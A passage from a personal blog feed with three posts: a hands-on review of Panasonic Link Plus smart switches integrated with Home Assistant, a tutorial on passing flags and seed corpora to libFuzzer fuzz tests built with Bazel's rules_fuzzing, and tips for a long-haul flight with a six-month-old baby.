&lt;p&gt;So the only option I had left was to buy some of the switches, set them up at home and see how well they work. So that’s what I did. I bought these specific models:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www14.arrow.mew.co.jp/scvb/a2A/opnItemList?s_hinban_key=WTY2401W&amp;amp;search_kbn=0&quot;&gt;WTY2401W&lt;/a&gt; - &lt;a href=&quot;https://www2.panasonic.biz/jp/densetsu/haisen/switch_concent/advance/lineup/linkplus/3wire_handle/&quot;&gt;single switch, 3-4 wire&lt;/a&gt; (this takes a ground wire to the switch, while they also have a 2 wire option which doesn’t)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www14.arrow.mew.co.jp/scvb/a2A/opnItemList?s_hinban_key=WTY22473W&amp;amp;search_kbn=0&quot;&gt;WTY22473W&lt;/a&gt; - &lt;a href=&quot;https://www2.panasonic.biz/jp/densetsu/haisen/switch_concent/advance/lineup/linkplus/2wire_rotary/&quot;&gt;dimmer switch, 2 wire&lt;/a&gt; (there was no 3-4 wire option)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www14.arrow.mew.co.jp/scvb/a2A/opnItemList?s_hinban_key=WTY2001&amp;amp;search_kbn=0&quot;&gt;WTY2001&lt;/a&gt; - &lt;a href=&quot;https://www2.panasonic.biz/jp/densetsu/haisen/switch_concent/advance/lineup/linkplus/wireless_adapter/&quot;&gt;Link Plus Wireless Adapter&lt;/a&gt; (リンクプラス用無線アダプタ). The switches themselves only have bluetooth, so to connect them to the internet (and HomeAssistant), we need this adapter (but the switches and the adapter actually communicate over 920MHz radio not Bluetooth AFAIK).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I also bought two lights, switch plates (in matte gray and white, the two colors we are considering), and two tupperware boxes as frames.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2024-11-10-panasonic-advance-series-link-plus/1-start.jpg#lb&quot; alt=&quot;Stuff I started with&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;the-physical-setup&quot;&gt;The physical setup&lt;/h2&gt;

&lt;p&gt;So first I had to prepare the box. I ended up using my soldering kit to cut a hole in the top of the box.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2024-11-10-panasonic-advance-series-link-plus/2-preparing-the-box.jpg#lb&quot; alt=&quot;Cutting a hole in the top of the box&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Once the box was ready, I had to figure out which wire was the ground and the phase. First I marked the socket to ensure I will always plug it back the same way, then used &lt;a href=&quot;https://www.amazon.co.jp/dp/B0B292F21Q&quot;&gt;this voltage detector&lt;/a&gt; to find  the wire with the phase, and marked that too.&lt;/p&gt;

&lt;p&gt;Then I looked up the wiring diagram for the switch and connected the wires accordingly (there was a small button inside the switch and pressing that with a screw driver the wire slid in easily).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2024-11-10-panasonic-advance-series-link-plus/3-connection.jpg#lb&quot; alt=&quot;Looking up the wiring diagram&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2024-11-10-panasonic-advance-series-link-plus/4-connecting.jpg#lb&quot; alt=&quot;Pressing the hidden button with a screw driver&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Attached the switch plates, and I was done:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2024-11-10-panasonic-advance-series-link-plus/5-full-setup.jpg#lb&quot; alt=&quot;The assembled switches&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;connecting-the-smart&quot;&gt;Connecting the smart&lt;/h2&gt;

&lt;p&gt;Once the wiring was done, I had to connect the switches to the phone and then to the wireless adapter.&lt;a href=&quot;https://play.google.com/store/apps/details?id=com.panasonic.jp.ls.pbu.linkplus&amp;amp;hl=en&quot;&gt;スイッチアプリ&lt;/a&gt; is the app to do this. The app is really designed with a single workflow in mind: electricians build the house, connect all switches, then handover the setup to the owner of the house. Adding additional switches later is not really possible. Moreover somehow the switches connect to each other, and the phone only connects to one of them, which further complicated setting it up.&lt;/p&gt;

&lt;p&gt;After a few hours of fight I got it to work. I don’t really have any advice, other than if you want to add any additional device, it is better to reset the app and the switches, and just add everything from the beginning all at once, as that seem to be the main/only supported flow.&lt;/p&gt;

&lt;p&gt;There was one more surprise: I was setting up the Link Plus Wireless Adapter (リンクプラス用無線アダプタ), but it didn’t want to connect to the WiFi. Moreover the setup never asked me for the WiFi password, it just told me that the adapter failed to connect to the network. I had the &lt;a href=&quot;https://www2.panasonic.biz/ideacontout/2023/04/11/2023041100220037.PDF&quot;&gt;user manual&lt;/a&gt; in front of me, but still it took me a while to find the issue:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2024-11-10-panasonic-advance-series-link-plus/6-not-so-wireless.jpg#lb&quot; alt=&quot;Not so wireless&quot; /&gt;&lt;/p&gt;

&lt;p&gt;So the wireless adapter needs wired connection to the LAN, it is only wireless on the other side (towards the switches). Once I plugged in the LAN cord, it showed up on the network. It had a site on port 80 where one could turn the switches on/off and even update the software on the switches. The update required pressing a button on the adapter, but otherwise there was no authentication, so anyone on the network could reach it.&lt;/p&gt;

&lt;p&gt;Later this website went away, but the adapter was still reachable via the EchonetLite protocol, which also lacks any authentication. (I really need to set up a separate guest wifi, or move all IoT stuff to a  dedicated network.)&lt;/p&gt;

&lt;h2 id=&quot;home-assistant-setup&quot;&gt;Home Assistant setup&lt;/h2&gt;

&lt;p&gt;I use &lt;a href=&quot;https://www.home-assistant.io/&quot;&gt;Home Assistant&lt;/a&gt; as my smart home platform. The Link Plus Adapter speaks the EchonetLite protocol (which is heavily used in Japan). Luckily there is a community-developed module to connect EchonetLite devices to Home Assistant named &lt;a href=&quot;https://github.com/scottyphillips/echonetlite_homeassistant&quot;&gt;echonetlite_homeassistant&lt;/a&gt;. (There is also &lt;a href=&quot;https://github.com/banban525/echonetlite2mqtt&quot;&gt;echonetlite2mqtt&lt;/a&gt; in case the first doesn’t work.)&lt;/p&gt;

&lt;p&gt;After adding this using &lt;a href=&quot;https://www.hacs.xyz/&quot;&gt;HACS&lt;/a&gt; and pointing it to the IP of the adapter it worked (it could have done discovery too, but I had the IP handy). Without any auth both switches showed up in Home  Assistant:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2024-11-10-panasonic-advance-series-link-plus/7-ha-dashboard.jpg#lb&quot; alt=&quot;Home Assistant Dashboard - 照明1 and 照明2 are the switches, the rest is about the adapter&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;testing-the-dimmer-switch&quot;&gt;Testing the dimmer switch&lt;/h2&gt;

&lt;p&gt;So after the setup worked, I wanted to see what is the delay between Home Assistant and the actual switch. Here is my testing with the dimmer switch:&lt;/p&gt;

&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube-nocookie.com/embed/wY3IgIuArD8?si=G6Qibxdiro4dyXmX&quot; title=&quot;YouTube video player&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;

&lt;p&gt;Overall I found it to be very responsive.&lt;/p&gt;

&lt;p&gt;It supports going from being off to going to a specific brightness (e.g. if it was 100% when turned off, then I can turn it on at 10% brightness), however it turns on first as usual (with the previous brightness) then adjusts it quickly. In practice there is a short fade-in effect when turning on anyway, which makes this issue less noticeable, so I don’t think it would be an issue in real life. (The use-case I’m thinking here is that when the light turns on in the middle of the night it should go to low brightness automatically.)&lt;/p&gt;

&lt;p&gt;For the dimmer switch I used a simple, dimmable LED bulb (the cheapest I could get from Amazon).&lt;/p&gt;

&lt;h2 id=&quot;testing-a-smart-bulb&quot;&gt;Testing a smart bulb&lt;/h2&gt;

&lt;p&gt;The dimmer works well, but it doesn’t allow changing the color. Also it’s more expensive than the normal switch, so I was thinking of adding a smart bulb to the normal smart switch and controlling the brightness and color based on time of day (or via additional smart buttons). To test this I connected a ZigBee bulb from IKEA to the switch. (I have a CONBEE II adapter with Phoscon-GW running alongside Home Assistant.)&lt;/p&gt;

&lt;p&gt;The bulb adds a slight delay when turning on, but otherwise works well.&lt;/p&gt;

&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube-nocookie.com/embed/64OXW3BYHvA?si=bB-gjt1KiP2POgmx&quot; title=&quot;YouTube video player&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;

&lt;p&gt;When turning on, the bulb immediately shows up in Home Assistant, so we can trigger on that even and adjust the brightness. However when turning off it takes a while until Home Assistant realizes that the bulb is off, so when turning off and on quickly, the automation won’t trigger on either off or on event (as Home Assistant misses them both). I think I could work around this by triggering on the switch turning on and off, as that even is registered immediately.&lt;/p&gt;

&lt;p&gt;Here is a test of triggering on the ON event: the light was at 100% when it was turned off, and I configured an automation that when the light bulb is turned on, set its brightness to 1%:&lt;/p&gt;

&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube-nocookie.com/embed/2kDgjVxkLUM?si=MzersZHA5JM1SaqU&quot; title=&quot;YouTube video player&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;

&lt;p&gt;It is almost instant with a very short flash.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;Despite the user un-friendliness of the setup, overall I really like the switches. They connected to Home Assistant without issues and they are pretty responsive (both to update their state and also to respond to action). The dimmer switch is nice for places where a physical dimmer makes sense (my wife already said that she would like that in a few places), but for everywhere else we’ll likely go with the normal switch and make the lights smart to control brightness and color.&lt;/p&gt;

&lt;p&gt;In the bedrooms we will have the common ceiling light that come with an infrared remote controller (for brightness and color). With the smart switch I think I can automate sending the IR signal after the light is turned on (to have it default to low brightness during the night, and full brightness during the day).&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Fuzzing with Bazel: cc_fuzz_test</title>
   <link href="https://szabo.jp/2024/09/19/cc_fuzz_test/"/>
   <updated>2024-09-19T00:00:00+00:00</updated>
   <id>https://szabo.jp/2024/09/19/cc_fuzz_test</id>
   <content type="html">&lt;p&gt;Recently I have been fuzzing C/C++ projects built with Bazel using libfuzzer, so I thought to share my learnings on some of the details on how to do this.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h1 id=&quot;getting-started&quot;&gt;Getting started&lt;/h1&gt;

&lt;p&gt;&lt;a href=&quot;https://blog.bazel.build/2021/02/08/rules-fuzzing.html&quot;&gt;Bazel added support for fuzz tests back in 2021&lt;/a&gt; via the &lt;a href=&quot;https://github.com/bazel-contrib/rules_fuzzing&quot;&gt;rules_fuzzing Bazel library&lt;/a&gt;. I recommend starting with the &lt;a href=&quot;https://github.com/bazel-contrib/rules_fuzzing?tab=readme-ov-file#bazel-rules-for-fuzz-tests&quot;&gt;README of that repo&lt;/a&gt; then checking out &lt;a href=&quot;https://github.com/bazel-contrib/rules_fuzzing/tree/master/docs&quot;&gt;the other docs too&lt;/a&gt;.&lt;/p&gt;

&lt;h1 id=&quot;passing-cli-flags&quot;&gt;Passing CLI flags&lt;/h1&gt;

&lt;p&gt;There are 3 types of CLI flags one can use when running a fuzz test:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Bazel’s usual flags (e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--config=asan-libfuzzer&lt;/code&gt;)&lt;/li&gt;
  &lt;li&gt;the &lt;a href=&quot;https://github.com/bazelbuild/rules_fuzzing/blob/master/docs/guide.md#the-fuzz-test-launcher&quot;&gt;fuzz test launcher flags&lt;/a&gt; (e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--timeout_secs=30&lt;/code&gt;)&lt;/li&gt;
  &lt;li&gt;the fuzzing-engine-specific flags (passed directly to the compiled library) (e.g. &lt;a href=&quot;https://llvm.org/docs/LibFuzzer.html#options&quot;&gt;in the case of libfuzzer&lt;/a&gt;: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-max_len&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These are separated by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--&lt;/code&gt; when calling bazel, e.g.:&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;bazel run &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; opt &lt;span class=&quot;nt&quot;&gt;--config&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;asan-libfuzzer //examples:re2_fuzz_test_run &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--clean&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--timeout_secs&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;30 &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-max_len&lt;/span&gt; 256
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To get all the supported flags for your specific tool versions, you can just ask the tools:&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;bazel run &lt;span class=&quot;nt&quot;&gt;--config&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;asan-libfuzzer //examples:re2_fuzz_test_run &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--helpfull&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;and for the libfuzzer flags (mind the double &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--&lt;/code&gt; and that the flag starts with a single &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-&lt;/code&gt;):&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;bazel run &lt;span class=&quot;nt&quot;&gt;--config&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;asan-libfuzzer //examples:re2_fuzz_test_run &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-help&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;corpus&quot;&gt;Corpus&lt;/h1&gt;

&lt;p&gt;Corpus, the set of initial inputs to pass to the test and then mutate them for additional coverage. Generally there are two types of corpus:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;seed corpus&lt;/strong&gt;: a set of known inputs defined when writing a test to help show some valid (and potentially invalid) inputs to the fuzzing engine. E.g. if the function expects a json with some specific fields, you should pass that as a corpus, otherwise most of the fuzzing engine’s time will be spent on trying to brute-force the json format and won’t reach deeper into the code.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;previously generated corpus&lt;/strong&gt;: when fuzzing stops, it will have a set of inputs that it found to execute different code-paths. Keeping these between fuzzing runs is the way to ensure that the fuzzing engine keeps its progress and doesn’t have to start from zero each time.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In some cases you might have both of these corpora.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rules_fuzzing&lt;/code&gt; has 3 ways to pass the corpus to a libfuzzer test (the first two of these should be the same for other fuzzing engines too):&lt;/p&gt;

&lt;h2 id=&quot;1-define-it-in-cc_fuzz_test&quot;&gt;1. Define it in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cc_fuzz_test&lt;/code&gt;&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/bazel-contrib/rules_fuzzing/blob/master/docs/guide.md#specifying-seed-corpora&quot;&gt;As shown in the docs&lt;/a&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;cc_fuzz_test(
    name = &quot;fuzz_test&quot;,
    srcs = [&quot;fuzz_test.cc&quot;],
    corpus = glob([&quot;fuzz_test_corpus/**&quot;]),
)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;2-via-the---corpus_dir-launcher-option&quot;&gt;2. Via the&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt; --corpus_dir&lt;/code&gt; launcher option&lt;/h2&gt;

&lt;p&gt;This is not documented in the repository, but &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-- --helpfull&lt;/code&gt; shows it:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  --corpus_dir: If non-empty, a directory that will be used as a seed corpus for the fuzzer.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;For example:&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;bazel run &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; opt &lt;span class=&quot;nt&quot;&gt;--config&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;asan-libfuzzer //examples:re2_fuzz_test_run &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--corpus_dir&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;pwd&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/corpus&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;3-via-a-libfuzzer-argument&quot;&gt;3. Via a libfuzzer argument&lt;/h2&gt;

&lt;p&gt;Libfuzzer accepts &lt;a href=&quot;https://llvm.org/docs/LibFuzzer.html#options&quot;&gt;corpus directories as positional arguments&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;To run the fuzzer, pass zero or more corpus directories as command line arguments. The fuzzer will read test inputs from each of these corpus directories, and any new test inputs that are generated will be written back to the first corpus directory&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;For example:&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;bazel run &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; opt &lt;span class=&quot;nt&quot;&gt;--config&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;asan-libfuzzer //examples:re2_fuzz_test_run &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;pwd&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/corpus&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;multiple-corpus-definitions&quot;&gt;Multiple corpus definitions&lt;/h2&gt;

&lt;p&gt;What if more than one of the above 3 are defined? Do the corpora get merged, or do these options override each other?&lt;/p&gt;

&lt;p&gt;Turns out the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--corpus_dir&lt;/code&gt; parameter overrides the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;corpus&lt;/code&gt; defined in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cc_fuzz_test&lt;/code&gt;, but the one passed to libfuzzer always gets appended.&lt;/p&gt;

&lt;p&gt;One can check this by looking at the CLI log when running a test that defines &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;corpus&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;bazel run &lt;span class=&quot;nt&quot;&gt;--config&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;asan-libfuzzer //examples:re2_fuzz_test_run &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;  &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt; &lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;pwd&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;/corpus2/
...
INFO: Loaded 1 PC tables &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;101 PCs&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;: 101 &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;0x00dead,0x00beef&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;, 
INFO:        0 files found &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; /tmp/fuzzing/corpus
INFO:        5 files found &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;examples/re2_fuzz_test_corpus
INFO:        1 files found &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; /home/ubuntu/fuzzing/test-app/corpus2/
INFO: &lt;span class=&quot;nt&quot;&gt;-max_len&lt;/span&gt; is not provided&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; libFuzzer will not generate inputs larger than 4096 bytes
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;While if we run the same test but pass the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--corpus_dir&lt;/code&gt;, then the corpus defined in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cc_fuzz_test&lt;/code&gt; is not used:&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;bazel run &lt;span class=&quot;nt&quot;&gt;--config&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;asan-libfuzzer //examples:re2_fuzz_test_run &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--corpus_dir&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;pwd&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;/corpus3 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt; &lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;pw
d&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;/corpus2/
...
INFO: Loaded 1 PC tables &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;101 PCs&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;: 101 &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;0x5aee48,0x5af498&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;, 
INFO:        0 files found &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; /tmp/fuzzing/corpus
INFO:        2 files found &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; /home/ubuntu/fuzzing/test-app/corpus3
INFO:        1 files found &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; /home/ubuntu/fuzzing/test-app/corpus2/
INFO: &lt;span class=&quot;nt&quot;&gt;-max_len&lt;/span&gt; is not provided&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; libFuzzer will not generate inputs larger than 4096 bytes
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Long flight with a 6 months old baby</title>
   <link href="https://szabo.jp/2024/08/08/long-flight-with-baby/"/>
   <updated>2024-08-08T00:00:00+00:00</updated>
   <id>https://szabo.jp/2024/08/08/long-flight-with-baby</id>
   <content type="html">&lt;p&gt;We just took a 14.5 hours flight with our 6 months old baby from Japan to Europe and in this post I’ll share how we manged to make it a pleasant experience for everyone involved.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h1 id=&quot;planning&quot;&gt;Planning&lt;/h1&gt;

&lt;h2 id=&quot;taking-a-direct-flight&quot;&gt;Taking a direct flight&lt;/h2&gt;

&lt;p&gt;We were going to Hungary to spend time with my family and friends. However there are no direct flights from Tokyo to Hungary, and in the past we have always flown with a layover (e.g. Dubai, Doha, Istanbul, Warsaw, Helsinki). To keep things easier this time, we flew into Vienna with a direct flight and my mom picked us up by car (it’s only 2.5 hours from Vienna Airport to Budapest). This proved to be a great decision as the hardest part for our baby was take off and landing, and also flying direct meant that the overall travel time was shorter even with the longer drive at the end.&lt;/p&gt;

&lt;p&gt;Most airlines offer a baby basinet for kids under 11-14kg for free (though some charge for the seat reservation required for this). We flew with ANA to Vienna and we are going back with Austrian Airline and both asked us to call them to reserve the baby basinet. On ANA it was entirely free including the seat reservation, with Austrian we got charged for the seat reservation.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2024-08-08-long-flight-with-baby/baby-basinet.jpg#lb&quot; alt=&quot;Baby basinet&quot; /&gt;&lt;/p&gt;

&lt;p&gt;A flight attendant attached this after take off and removed it before landing, and we had to hold the baby while the seatbelt sign was on.&lt;/p&gt;

&lt;h2 id=&quot;timing&quot;&gt;Timing&lt;/h2&gt;

&lt;p&gt;We picked a flight leaving late at night (10:45pm) which was a great idea as by that time the baby was so tired that she fell asleep immediately and slept for almost 10 hours, only waking up for a few short times to eat.&lt;/p&gt;

&lt;h1 id=&quot;before-the-flight-keep-it-low-stress&quot;&gt;Before the flight: keep it low-stress&lt;/h1&gt;

&lt;p&gt;We were flying on Monday evening and didn’t have any plan for the weekend, so we could pack (and do some last minute gift shopping) comfortably. By Monday morning we were ready to leave. This allowed us to sleep in and have a slow morning. We went out for lunch to our local soba place, then gave the baby a bath, and took a shower ourselves.&lt;/p&gt;

&lt;p&gt;Once we were ready, we took a taxi to Kichijoji and took the airport bus from there to Haneda. This meant that it was pretty easy to handle the 3 suitcases with the baby: the taxi dropped us off right where the airport bus leaves from, and at the airport we grabbed a trolley cart. On the way back we will arrive to Narita and we are thinking of taking the Narita Express (it takes longer and more expensive than Skyliner, but takes us directly to Mitaka) and/or use Yamato to send home some of the suitcases from the airport.&lt;/p&gt;

&lt;h1 id=&quot;at-the-airport&quot;&gt;At the airport&lt;/h1&gt;

&lt;p&gt;We arrived to the airport around 6pm and our flight was leaving at 10:45pm. Normally luggage drop off only opens a few hours before boarding, but since we were flying with ANA (one of the big Japanese carriers), who has a hub at Haneda, we could drop off luggage immediately and we also got a stroller for the baby that we could keep until the gate.&lt;/p&gt;

&lt;p&gt;We had dinner at the airport, hung out at the lounge (until they closed at 8pm) then went through security and passport control. One of the perks of traveling with a baby is that we could use the priority queue at all of these, and didn’t have to wait at all. Our baby usually goes to sleep around 8, so she slept a bit in the baby carrier. She couldn’t sleep deeply with all the lights, but it was enough to keep her happy.&lt;/p&gt;

&lt;h1 id=&quot;the-flight&quot;&gt;The flight&lt;/h1&gt;

&lt;p&gt;Traveling with a baby meant that we could board first.&lt;/p&gt;

&lt;p&gt;Take off was the trickiest part as we had to keep our seatbelt on and hold the baby, but it went without issues. My wife would have fed her if she would not have been happy, but it was fine.&lt;/p&gt;

&lt;p&gt;During take off and landing the air pressure changes, so ears can pop. To avoid this discomfort it is generally recommended to swallow to open the ear canals, and thus feeding the baby is a good idea. For our case she kept sucking on her pacifier and that seemed to have been enough.&lt;/p&gt;

